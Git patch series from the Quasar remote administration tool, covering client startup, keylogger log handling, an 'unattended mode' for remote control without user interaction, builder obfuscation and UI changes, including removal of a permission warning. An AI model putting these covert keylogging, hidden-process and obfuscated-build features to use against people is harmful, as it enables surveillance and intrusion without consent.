HandleUnhandledException; + Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); - using (var app = new QuasarApplication()) + Application.Run(new QuasarApplication()); + } + + private static void HandleThreadException(object sender, ThreadExceptionEventArgs e) + { + Debug.WriteLine(e); + try + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) { - app.Run(); + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } + } + + /// + /// Handles unhandled exceptions by restarting the application and hoping that they don't happen again. + /// + /// The source of the unhandled exception event. + /// The exception event arguments. + private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) + { + if (e.IsTerminating) + { + Debug.WriteLine(e); + try + { + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) + { + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } } } } diff --git a/Quasar.Client/QuasarApplication.cs b/Quasar.Client/QuasarApplication.cs index 55c411c46..ba575df7c 100644 --- a/Quasar.Client/QuasarApplication.cs +++ b/Quasar.Client/QuasarApplication.cs @@ -1,5 +1,4 @@ using Quasar.Client.Config; -using Quasar.Client.IO; using Quasar.Client.Logging; using Quasar.Client.Messages; using Quasar.Client.Networking; @@ -12,6 +11,9 @@ using System; using System.Collections.Generic; using System.Diagnostics; +using System.Drawing; +using System.Reflection; +using System.Threading; using System.Windows.Forms; namespace Quasar.Client @@ -19,7 +21,7 @@ namespace Quasar.Client /// /// The client application which handles basic bootstrapping of the message processors and background tasks. /// - public class QuasarApplication : IDisposable + public class QuasarApplication : Form { /// /// A system-wide mutex that ensures that only one instance runs at a time. @@ -51,13 +53,48 @@ public class QuasarApplication : IDisposable /// private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; + /// + /// Notification icon used to show notifications in the taskbar. + /// + private readonly NotifyIcon _notifyIcon; + /// /// Initializes a new instance of the class. /// public QuasarApplication() { - AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException; _messageProcessors = new List(); + _notifyIcon = new NotifyIcon(); + } + + /// + /// Starts the application. + /// + /// An System.EventArgs that contains the event data. + protected override void OnLoad(EventArgs e) + { + Visible = false; + ShowInTaskbar = false; + Run(); + base.OnLoad(e); + } + + /// + /// Initializes the notification icon. + /// + private void InitializeNotifyicon() + { + _notifyIcon.Text = "Quasar Client\nNo connection"; + _notifyIcon.Visible = true; + try + { + _notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location); + } + catch (Exception ex) + { + Debug.WriteLine(ex); + _notifyIcon.Icon = SystemIcons.Application; + } } /// @@ -66,12 +103,14 @@ public QuasarApplication() public void Run() { // decrypt and verify the settings - if (!Settings.Initialize()) return; + if (!Settings.Initialize()) + Application.Exit(); ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // check if process with same mutex is already running on system - if (!ApplicationMutex.CreatedNew) return; + if (!ApplicationMutex.CreatedNew) + Application.Exit(); FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); @@ -85,6 +124,7 @@ public void Run() try { installer.Install(); + Application.Exit(); } catch (Exception e) { @@ -103,6 +143,9 @@ public void Run() Debug.WriteLine(e); } + if (!Settings.UNATTENDEDMODE) + InitializeNotifyicon(); + if (Settings.ENABLELOGGER) { _keyloggerService = new KeyloggerService(); @@ -111,52 +154,35 @@ public void Run() var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); + _connectClient.ClientState += ConnectClientOnClientState; InitializeMessageProcessors(_connectClient); _userActivityDetection = new ActivityDetection(_connectClient); _userActivityDetection.Start(); - _connectClient.ConnectLoop(); + new Thread(() => + { + // Start connection loop on new thread and dispose application once client exits. + // This is required to keep the UI thread responsive and run the message loop. + _connectClient.ConnectLoop(); + Application.Exit(); + }).Start(); } } - /// - /// Handles unhandled exceptions by restarting the application and hoping that they don't happen again. - /// - /// The source of the unhandled exception event. - /// The exception event arguments. - private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e) + private void ConnectClientOnClientState(Networking.Client s, bool connected) { - if (e.IsTerminating) - { - Debug.WriteLine(e); - try - { - string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); - - ProcessStartInfo startInfo = new ProcessStartInfo - { - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true, - FileName = batchFile - }; - Process.Start(startInfo); - } - catch (Exception exception) - { - Debug.WriteLine(exception); - } - finally - { - Environment.Exit(0); - } - } + if (connected) + _notifyIcon.Text = "Quasar Client\nConnection established"; + else + _notifyIcon.Text = "Quasar Client\nNo connection"; } /// /// Adds all message processors to and registers them in the . /// /// The client which handles the connection. + /// Always initialize from UI thread. private void InitializeMessageProcessors(QuasarClient client) { _messageProcessors.Add(new ClientServicesHandler(this, client)); @@ -176,7 +202,11 @@ private void InitializeMessageProcessors(QuasarClient client) _messageProcessors.Add(new WebsiteVisitorHandler()); foreach (var msgProc in _messageProcessors) + { MessageHandler.Register(msgProc); + if (msgProc is NotificationMessageProcessor notifyMsgProc) + notifyMsgProc.ProgressChanged += ShowNotification; + } } /// @@ -187,25 +217,22 @@ private void CleanupMessageProcessors() foreach (var msgProc in _messageProcessors) { MessageHandler.Unregister(msgProc); + if (msgProc is NotificationMessageProcessor notifyMsgProc) + notifyMsgProc.ProgressChanged -= ShowNotification; if (msgProc is IDisposable disposableMsgProc) disposableMsgProc.Dispose(); } } - /// - /// Releases all resources used by this . - /// - public void Dispose() + private void ShowNotification(object sender, string value) { - Dispose(true); - GC.SuppressFinalize(this); + if (Settings.UNATTENDEDMODE) + return; + + _notifyIcon.ShowBalloonTip(4000, "Quasar Client", value, ToolTipIcon.Info); } - /// - /// Releases all allocated message processors, services and other resources. - /// - /// True if called from , false if called from the finalizer. - protected virtual void Dispose(bool disposing) + protected override void Dispose(bool disposing) { if (disposing) { @@ -214,7 +241,10 @@ protected virtual void Dispose(bool disposing) _userActivityDetection?.Dispose(); ApplicationMutex?.Dispose(); _connectClient?.Dispose(); + _notifyIcon.Visible = false; + _notifyIcon.Dispose(); } + base.Dispose(disposing); } } } diff --git a/Quasar.Common/Helpers/StringHelper.cs b/Quasar.Common/Helpers/StringHelper.cs index 9ce861d46..e6f9ccce3 100644 --- a/Quasar.Common/Helpers/StringHelper.cs +++ b/Quasar.Common/Helpers/StringHelper.cs @@ -35,15 +35,6 @@ public static string GetRandomString(int length) return randomName.ToString(); } - /// - /// Gets a random mutex. - /// - /// A random mutex. - public static string GetRandomMutex() - { - return "QSR_MUTEX_" + GetRandomString(18); - } - /// /// Gets the human readable file size for a given size. /// diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs index 69963e109..822dd9893 100644 --- a/Quasar.Server/Build/ClientBuilder.cs +++ b/Quasar.Server/Build/ClientBuilder.cs @@ -1,7 +1,6 @@ using Mono.Cecil; using Mono.Cecil.Cil; using Quasar.Common.Cryptography; -using Quasar.Common.Helpers; using Quasar.Server.Models; using System; using System.Security.Cryptography; @@ -170,6 +169,9 @@ private void WriteSettings(AssemblyDefinition asmDef) case 6: // HideInstallSubdirectory methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory)); break; + case 7: // UnattendedMode + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UnattendedMode)); + break; } bools++; } @@ -220,4 +222,4 @@ private sbyte GetSpecialFolder(int installPath) } } } -} \ No newline at end of file +} diff --git a/Quasar.Server/Build/Renamer.cs b/Quasar.Server/Build/Renamer.cs index 76f0dfb31..fe9ef5288 100644 --- a/Quasar.Server/Build/Renamer.cs +++ b/Quasar.Server/Build/Renamer.cs @@ -57,7 +57,7 @@ public bool Perform() private void RenameInType(TypeDefinition typeDef) { - if (!typeDef.Namespace.StartsWith("Quasar") || typeDef.Namespace.StartsWith("Quasar.Common.Messages") /* || typeDef.HasInterfaces */) + if (!typeDef.Namespace.StartsWith("Quasar") || typeDef.Namespace.StartsWith("Quasar.Common.Messages") || typeDef.IsEnum /* || typeDef.HasInterfaces */) return; _typeOverloader.GiveName(typeDef); diff --git a/Quasar.Server/Forms/FrmBuilder.Designer.cs b/Quasar.Server/Forms/FrmBuilder.Designer.cs index 17951e427..8a36b2651 100644 --- a/Quasar.Server/Forms/FrmBuilder.Designer.cs +++ b/Quasar.Server/Forms/FrmBuilder.Designer.cs @@ -43,6 +43,10 @@ private void InitializeComponent() this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.builderTabs = new Quasar.Server.Controls.DotNetBarTabControl(); this.generalPage = new System.Windows.Forms.TabPage(); + this.label3 = new System.Windows.Forms.Label(); + this.chkUnattendedMode = new System.Windows.Forms.CheckBox(); + this.line2 = new Quasar.Server.Controls.Line(); + this.label2 = new System.Windows.Forms.Label(); this.label9 = new System.Windows.Forms.Label(); this.line6 = new Quasar.Server.Controls.Line(); this.label8 = new System.Windows.Forms.Label(); @@ -114,7 +118,7 @@ private void InitializeComponent() this.lblCopyright = new System.Windows.Forms.Label(); this.lblTrademarks = new System.Windows.Forms.Label(); this.txtCopyright = new System.Windows.Forms.TextBox(); - this.surveillanceTab = new System.Windows.Forms.TabPage(); + this.monitoringTab = new System.Windows.Forms.TabPage(); this.chkHideLogDirectory = new System.Windows.Forms.CheckBox(); this.txtLogDirectoryName = new System.Windows.Forms.TextBox(); this.lblLogDirectory = new System.Windows.Forms.Label(); @@ -132,7 +136,7 @@ private void InitializeComponent() this.installationPage.SuspendLayout(); this.assemblyPage.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).BeginInit(); - this.surveillanceTab.SuspendLayout(); + this.monitoringTab.SuspendLayout(); this.SuspendLayout(); // // btnBuild @@ -224,7 +228,7 @@ private void InitializeComponent() this.builderTabs.Controls.Add(this.connectionPage); this.builderTabs.Controls.Add(this.installationPage); this.builderTabs.Controls.Add(this.assemblyPage); - this.builderTabs.Controls.Add(this.surveillanceTab); + this.builderTabs.Controls.Add(this.monitoringTab); this.builderTabs.Dock = System.Windows.Forms.DockStyle.Top; this.builderTabs.ItemSize = new System.Drawing.Size(44, 136); this.builderTabs.Location = new System.Drawing.Point(0, 0); @@ -238,6 +242,10 @@ private void InitializeComponent() // generalPage // this.generalPage.BackColor = System.Drawing.SystemColors.Control; + this.generalPage.Controls.Add(this.label3); + this.generalPage.Controls.Add(this.chkUnattendedMode); + this.generalPage.Controls.Add(this.line2); + this.generalPage.Controls.Add(this.label2); this.generalPage.Controls.Add(this.label9); this.generalPage.Controls.Add(this.line6); this.generalPage.Controls.Add(this.label8); @@ -256,6 +264,45 @@ private void InitializeComponent() this.generalPage.TabIndex = 4; this.generalPage.Text = "Basic Settings"; // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(17, 214); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(354, 26); + this.label3.TabIndex = 24; + this.label3.Text = "Activating the unattended mode allows remote control of the client\r\nwithout user " + + "interaction."; + // + // chkUnattendedMode + // + this.chkUnattendedMode.AutoSize = true; + this.chkUnattendedMode.Location = new System.Drawing.Point(20, 252); + this.chkUnattendedMode.Name = "chkUnattendedMode"; + this.chkUnattendedMode.Size = new System.Drawing.Size(157, 17); + this.chkUnattendedMode.TabIndex = 23; + this.chkUnattendedMode.Text = "Enable unattended mode"; + this.chkUnattendedMode.UseVisualStyleBackColor = true; + this.chkUnattendedMode.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // line2 + // + this.line2.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line2.Location = new System.Drawing.Point(115, 196); + this.line2.Name = "line2"; + this.line2.Size = new System.Drawing.Size(270, 13); + this.line2.TabIndex = 22; + this.line2.TabStop = false; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(8, 196); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(101, 13); + this.label2.TabIndex = 21; + this.label2.Text = "Unattended mode"; + // // label9 // this.label9.AutoSize = true; @@ -269,7 +316,7 @@ private void InitializeComponent() // line6 // this.line6.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; - this.line6.Location = new System.Drawing.Point(83, 78); + this.line6.Location = new System.Drawing.Point(85, 78); this.line6.Name = "line6"; this.line6.Size = new System.Drawing.Size(300, 13); this.line6.TabIndex = 20; @@ -286,9 +333,9 @@ private void InitializeComponent() // // txtTag // - this.txtTag.Location = new System.Drawing.Point(182, 40); + this.txtTag.Location = new System.Drawing.Point(130, 40); this.txtTag.Name = "txtTag"; - this.txtTag.Size = new System.Drawing.Size(203, 22); + this.txtTag.Size = new System.Drawing.Size(255, 22); this.txtTag.TabIndex = 3; this.txtTag.TextChanged += new System.EventHandler(this.HasChangedSetting); // @@ -306,16 +353,16 @@ private void InitializeComponent() this.lblTag.AutoSize = true; this.lblTag.Location = new System.Drawing.Point(17, 43); this.lblTag.Name = "lblTag"; - this.lblTag.Size = new System.Drawing.Size(60, 13); + this.lblTag.Size = new System.Drawing.Size(61, 13); this.lblTag.TabIndex = 2; this.lblTag.Text = "Client Tag:"; // // txtMutex // - this.txtMutex.Location = new System.Drawing.Point(182, 130); + this.txtMutex.Location = new System.Drawing.Point(130, 130); this.txtMutex.MaxLength = 64; this.txtMutex.Name = "txtMutex"; - this.txtMutex.Size = new System.Drawing.Size(201, 22); + this.txtMutex.Size = new System.Drawing.Size(253, 22); this.txtMutex.TabIndex = 7; this.txtMutex.TextChanged += new System.EventHandler(this.HasChangedSetting); // @@ -505,7 +552,7 @@ private void InitializeComponent() this.lblDelay.AutoSize = true; this.lblDelay.Location = new System.Drawing.Point(17, 182); this.lblDelay.Name = "lblDelay"; - this.lblDelay.Size = new System.Drawing.Size(199, 13); + this.lblDelay.Size = new System.Drawing.Size(200, 13); this.lblDelay.TabIndex = 9; this.lblDelay.Text = "Time to wait between reconnect tries:"; // @@ -974,7 +1021,7 @@ private void InitializeComponent() this.lblTrademarks.AutoSize = true; this.lblTrademarks.Location = new System.Drawing.Point(17, 159); this.lblTrademarks.Name = "lblTrademarks"; - this.lblTrademarks.Size = new System.Drawing.Size(67, 13); + this.lblTrademarks.Size = new System.Drawing.Size(68, 13); this.lblTrademarks.TabIndex = 9; this.lblTrademarks.Text = "Trademarks:"; // @@ -986,20 +1033,20 @@ private void InitializeComponent() this.txtCopyright.TabIndex = 8; this.txtCopyright.TextChanged += new System.EventHandler(this.HasChangedSetting); // - // surveillanceTab - // - this.surveillanceTab.BackColor = System.Drawing.SystemColors.Control; - this.surveillanceTab.Controls.Add(this.chkHideLogDirectory); - this.surveillanceTab.Controls.Add(this.txtLogDirectoryName); - this.surveillanceTab.Controls.Add(this.lblLogDirectory); - this.surveillanceTab.Controls.Add(this.line10); - this.surveillanceTab.Controls.Add(this.label14); - this.surveillanceTab.Controls.Add(this.chkKeylogger); - this.surveillanceTab.Location = new System.Drawing.Point(140, 4); - this.surveillanceTab.Name = "surveillanceTab"; - this.surveillanceTab.Size = new System.Drawing.Size(391, 376); - this.surveillanceTab.TabIndex = 3; - this.surveillanceTab.Text = "Surveillance Settings"; + // monitoringTab + // + this.monitoringTab.BackColor = System.Drawing.SystemColors.Control; + this.monitoringTab.Controls.Add(this.chkHideLogDirectory); + this.monitoringTab.Controls.Add(this.txtLogDirectoryName); + this.monitoringTab.Controls.Add(this.lblLogDirectory); + this.monitoringTab.Controls.Add(this.line10); + this.monitoringTab.Controls.Add(this.label14); + this.monitoringTab.Controls.Add(this.chkKeylogger); + this.monitoringTab.Location = new System.Drawing.Point(140, 4); + this.monitoringTab.Name = "monitoringTab"; + this.monitoringTab.Size = new System.Drawing.Size(391, 376); + this.monitoringTab.TabIndex = 3; + this.monitoringTab.Text = "Monitoring Settings"; // // chkHideLogDirectory // @@ -1033,9 +1080,9 @@ private void InitializeComponent() // line10 // this.line10.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; - this.line10.Location = new System.Drawing.Point(72, 5); + this.line10.Location = new System.Drawing.Point(78, 5); this.line10.Name = "line10"; - this.line10.Size = new System.Drawing.Size(308, 13); + this.line10.Size = new System.Drawing.Size(302, 13); this.line10.TabIndex = 41; this.line10.TabStop = false; // @@ -1044,9 +1091,9 @@ private void InitializeComponent() this.label14.AutoSize = true; this.label14.Location = new System.Drawing.Point(6, 5); this.label14.Name = "label14"; - this.label14.Size = new System.Drawing.Size(68, 13); + this.label14.Size = new System.Drawing.Size(66, 13); this.label14.TabIndex = 3; - this.label14.Text = "Surveillance"; + this.label14.Text = "Monitoring"; // // chkKeylogger // @@ -1092,8 +1139,8 @@ private void InitializeComponent() this.assemblyPage.ResumeLayout(false); this.assemblyPage.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).EndInit(); - this.surveillanceTab.ResumeLayout(false); - this.surveillanceTab.PerformLayout(); + this.monitoringTab.ResumeLayout(false); + this.monitoringTab.PerformLayout(); this.ResumeLayout(false); } @@ -1150,7 +1197,7 @@ private void InitializeComponent() private System.Windows.Forms.TabPage connectionPage; private System.Windows.Forms.TabPage installationPage; private System.Windows.Forms.TabPage assemblyPage; - private System.Windows.Forms.TabPage surveillanceTab; + private System.Windows.Forms.TabPage monitoringTab; private System.Windows.Forms.ListBox lstHosts; private System.Windows.Forms.ContextMenuStrip contextMenuStrip; private System.Windows.Forms.Button btnAddHost; @@ -1188,5 +1235,9 @@ private void InitializeComponent() private System.Windows.Forms.NumericUpDown numericUpDownDelay; private System.Windows.Forms.NumericUpDown numericUpDownPort; private System.Windows.Forms.CheckBox chkHideSubDirectory; + private System.Windows.Forms.CheckBox chkUnattendedMode; + private Line line2; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; } } diff --git a/Quasar.Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs index 083abe0b1..0187f7367 100644 --- a/Quasar.Server/Forms/FrmBuilder.cs +++ b/Quasar.Server/Forms/FrmBuilder.cs @@ -1,6 +1,6 @@ -using Quasar.Common.Helpers; +using Quasar.Common.DNS; +using Quasar.Common.Helpers; using Quasar.Server.Build; -using Quasar.Server.Helper; using Quasar.Server.Models; using System; using System.Collections.Generic; @@ -11,7 +11,6 @@ using System.Text.RegularExpressions; using System.Threading; using System.Windows.Forms; -using Quasar.Common.DNS; namespace Quasar.Server.Forms { @@ -38,6 +37,7 @@ private void LoadProfile(string profileName) txtTag.Text = profile.Tag; numericUpDownDelay.Value = profile.Delay; txtMutex.Text = profile.Mutex; + chkUnattendedMode.Checked = profile.UnattendedMode; chkInstall.Checked = profile.InstallClient; txtInstallName.Text = profile.InstallName; GetInstallPath(profile.InstallPath).Checked = true; @@ -72,6 +72,7 @@ private void SaveProfile(string profileName) profile.Hosts = _hostsConverter.ListToRawHosts(_hosts); profile.Delay = (int) numericUpDownDelay.Value; profile.Mutex = txtMutex.Text; + profile.UnattendedMode = chkUnattendedMode.Checked; profile.InstallClient = chkInstall.Checked; profile.InstallName = txtInstallName.Text; profile.InstallPath = GetInstallPath(); @@ -184,7 +185,7 @@ private void btnMutex_Click(object sender, EventArgs e) { HasChanged(); - txtMutex.Text = StringHelper.GetRandomMutex(); + txtMutex.Text = Guid.NewGuid().ToString(); } private void chkInstall_CheckedChanged(object sender, EventArgs e) @@ -256,6 +257,7 @@ private BuildOptions GetBuildOptions() options.Tag = txtTag.Text; options.Mutex = txtMutex.Text; + options.UnattendedMode = chkUnattendedMode.Checked; options.RawHosts = _hostsConverter.ListToRawHosts(_hosts); options.Delay = (int) numericUpDownDelay.Value; options.IconPath = txtIconPath.Text; @@ -385,7 +387,7 @@ private void BuildClient(object o) this.Invoke((MethodInvoker) delegate { MessageBox.Show(this, - $"Successfully built client!\nSaved to: {options.OutputPath}\n\nOnly install it on computers where you have the permission to do so!", + $"Successfully built client! Saved to:\\{options.OutputPath}", "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); }); } diff --git a/Quasar.Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs index d2b75e439..9ef074353 100644 --- a/Quasar.Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -438,7 +438,7 @@ private void ShowPopup(Client c) { if (c == null || c.Value == null) return; - notifyIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), + notifyIcon.ShowBalloonTip(4000, string.Format("Client connected from {0}!", c.Value.Country), string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), c.Value.OperatingSystem), ToolTipIcon.Info); }); @@ -492,7 +492,7 @@ private void uninstallToolStripMenuItem_Click(object sender, EventArgs e) if ( MessageBox.Show( string.Format( - "Are you sure you want to uninstall the client on {0} computer\\s?\nThe clients won't come back!", + "Are you sure you want to uninstall the client on {0} computer\\s?", lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) { diff --git a/Quasar.Server/Models/BuildOptions.cs b/Quasar.Server/Models/BuildOptions.cs index 7d6455fbe..07f90a0fa 100644 --- a/Quasar.Server/Models/BuildOptions.cs +++ b/Quasar.Server/Models/BuildOptions.cs @@ -21,5 +21,6 @@ public class BuildOptions public string LogDirectoryName { get; set; } public bool HideLogDirectory { get; set; } public bool HideInstallSubdirectory { get; set; } + public bool UnattendedMode { get; set; } } } diff --git a/Quasar.Server/Models/BuilderProfile.cs b/Quasar.Server/Models/BuilderProfile.cs index fa9d4d93e..8d074f050 100644 --- a/Quasar.Server/Models/BuilderProfile.cs +++ b/Quasar.Server/Models/BuilderProfile.cs @@ -1,5 +1,4 @@ -using Quasar.Common.Helpers; -using System; +using System; using System.IO; using System.Windows.Forms; using System.Xml; @@ -51,7 +50,7 @@ public string Mutex { get { - return ReadValueSafe("Mutex", StringHelper.GetRandomMutex()); + return ReadValueSafe("Mutex", Guid.NewGuid().ToString()); } set { @@ -59,6 +58,18 @@ public string Mutex } } + public bool UnattendedMode + { + get + { + return bool.Parse(ReadValueSafe("UnattendedMode", "False")); + } + set + { + WriteValue("UnattendedMode", value.ToString()); + } + } + public bool InstallClient { get From f3f49cd75a1339cfc7ae24600475833e313e2039 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 1 Jun 2020 22:20:37 +0200 Subject: [PATCH 197/229] Only delete single log files instead of complete directory --- Quasar.Client/IO/BatchFile.cs | 4 +--- Quasar.Client/Setup/ClientUninstaller.cs | 25 +++++++++++++++++++++++- 2 files changed, 25 insertions(+), 4 deletions(-) diff --git a/Quasar.Client/IO/BatchFile.cs b/Quasar.Client/IO/BatchFile.cs index 78a22fa93..83a39ad92 100644 --- a/Quasar.Client/IO/BatchFile.cs +++ b/Quasar.Client/IO/BatchFile.cs @@ -13,9 +13,8 @@ public static class BatchFile /// Creates the uninstall batch file. /// /// The current file path of the client. - /// The log directory. /// The file path to the batch file which can then get executed. Returns string.Empty on failure. - public static string CreateUninstallBatch(string currentFilePath, string logDirectory) + public static string CreateUninstallBatch(string currentFilePath) { string batchFile = FileHelper.GetTempFilePath(".bat"); @@ -25,7 +24,6 @@ public static string CreateUninstallBatch(string currentFilePath, string logDire "echo DONT CLOSE THIS WINDOW!" + "\r\n" + "ping -n 10 localhost > nul" + "\r\n" + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + - "rmdir /q /s " + "\"" + logDirectory + "\"" + "\r\n" + "del /a /q /f " + "\"" + batchFile + "\""; File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false)); diff --git a/Quasar.Client/Setup/ClientUninstaller.cs b/Quasar.Client/Setup/ClientUninstaller.cs index 61a0fb0c2..364b94d88 100644 --- a/Quasar.Client/Setup/ClientUninstaller.cs +++ b/Quasar.Client/Setup/ClientUninstaller.cs @@ -1,6 +1,10 @@ using Quasar.Client.Config; using Quasar.Client.IO; +using System; using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; using System.Windows.Forms; namespace Quasar.Client.Setup @@ -15,7 +19,26 @@ public void Uninstall() clientStartup.RemoveFromStartup(Settings.STARTUPKEY); } - string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH); + if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH)) + { + // this must match the keylogger log files + Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$"); + + foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly) + .Where(path => reg.IsMatch(Path.GetFileName(path))).ToList()) + { + try + { + File.Delete(logFile); + } + catch (Exception) + { + // no important exception + } + } + } + + string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath); ProcessStartInfo startInfo = new ProcessStartInfo { From b0c54af1a0fbfa4477b7be0ab207786abef95433 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 1 Jun 2020 22:22:33 +0200 Subject: [PATCH 198/229] Use UTC timestamps in log files --- Quasar.Client/Config/Settings.cs | 2 +- Quasar.Client/Logging/Keylogger.cs | 9 +++++---- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index 025d1b3e8..82cc48c2e 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -26,7 +26,7 @@ public static class Settings public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; public static string STARTUPKEY = "Test key"; public static bool HIDEFILE = false; - public static bool ENABLELOGGER = true; + public static bool ENABLELOGGER = false; public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8"; public static string TAG = "DEBUG"; public static string LOGDIRECTORYNAME = "Logs"; diff --git a/Quasar.Client/Logging/Keylogger.cs b/Quasar.Client/Logging/Keylogger.cs index 3ae6eb29b..c8cccd56d 100644 --- a/Quasar.Client/Logging/Keylogger.cs +++ b/Quasar.Client/Logging/Keylogger.cs @@ -7,6 +7,7 @@ using System; using System.Collections.Generic; using System.Diagnostics; +using System.Globalization; using System.IO; using System.Text; using System.Web; @@ -153,8 +154,8 @@ private void OnKeyDown(object sender, KeyEventArgs e) _lastWindowTitle = activeWindowTitle; _logFileBuffer.Append(@"



[" + HttpUtility.HtmlEncode(activeWindowTitle) + " - " - + DateTime.Now.ToString("HH:mm") - + "]


"); + + DateTime.UtcNow.ToString("t", DateTimeFormatInfo.InvariantInfo) + + " UTC]


"); } if (_pressedKeys.ContainsModifierKeys()) @@ -315,7 +316,7 @@ private void WriteFile() // TODO: Add some house-keeping and delete old log entries bool writeHeader = false; - string filePath = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy")); + string filePath = Path.Combine(Settings.LOGSPATH, DateTime.UtcNow.ToString("yyyy-MM-dd")); try { @@ -353,7 +354,7 @@ private void WriteFile() { logFile.Append( "Log created on " + - DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "

"); + DateTime.UtcNow.ToString("f", DateTimeFormatInfo.InvariantInfo) + " UTC

"); logFile.Append(""); From 77aa6aa386eb169424c5e1ad4d5350ccc034281f Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 1 Jun 2020 22:24:08 +0200 Subject: [PATCH 199/229] Use local mutex https://docs.microsoft.com/en-us/dotnet/api/system.threading.mutex?redirectedfrom=MSDN&view=netcore-3.1#remarks --- Quasar.Client/Utilities/SingleInstanceMutex.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Quasar.Client/Utilities/SingleInstanceMutex.cs b/Quasar.Client/Utilities/SingleInstanceMutex.cs index 0672c972e..6170e8229 100644 --- a/Quasar.Client/Utilities/SingleInstanceMutex.cs +++ b/Quasar.Client/Utilities/SingleInstanceMutex.cs @@ -4,7 +4,7 @@ namespace Quasar.Client.Utilities { /// - /// A system-wide mutex that ensures that only one instance runs at a time. + /// A user-wide mutex that ensures that only one instance runs at a time. /// public class SingleInstanceMutex : IDisposable { @@ -29,7 +29,7 @@ public class SingleInstanceMutex : IDisposable /// The name of the mutex. public SingleInstanceMutex(string name) { - _appMutex = new Mutex(false, name, out var createdNew); + _appMutex = new Mutex(false, $"Local\\{name}", out var createdNew); CreatedNew = createdNew; } From 1034f7addc6ac5fd9a7c92756f0680ce955dcb97 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 3 Jun 2020 15:02:25 +0200 Subject: [PATCH 200/229] Update application manifests --- Quasar.Client/app.manifest | 28 ++++++++++++++++++++++------ Quasar.Server/app.manifest | 28 ++++++++++++++++++++++------ 2 files changed, 44 insertions(+), 12 deletions(-) diff --git a/Quasar.Client/app.manifest b/Quasar.Client/app.manifest index 17e6b6645..bf4e01a4d 100644 --- a/Quasar.Client/app.manifest +++ b/Quasar.Client/app.manifest @@ -1,4 +1,6 @@ - + + + @@ -20,9 +22,23 @@ - - - true - - + + + true/pm + PerMonitorV2, PerMonitor + true + + + + + + + \ No newline at end of file diff --git a/Quasar.Server/app.manifest b/Quasar.Server/app.manifest index 17e6b6645..bf4e01a4d 100644 --- a/Quasar.Server/app.manifest +++ b/Quasar.Server/app.manifest @@ -1,4 +1,6 @@ - + + + @@ -20,9 +22,23 @@ - - - true - - + + + 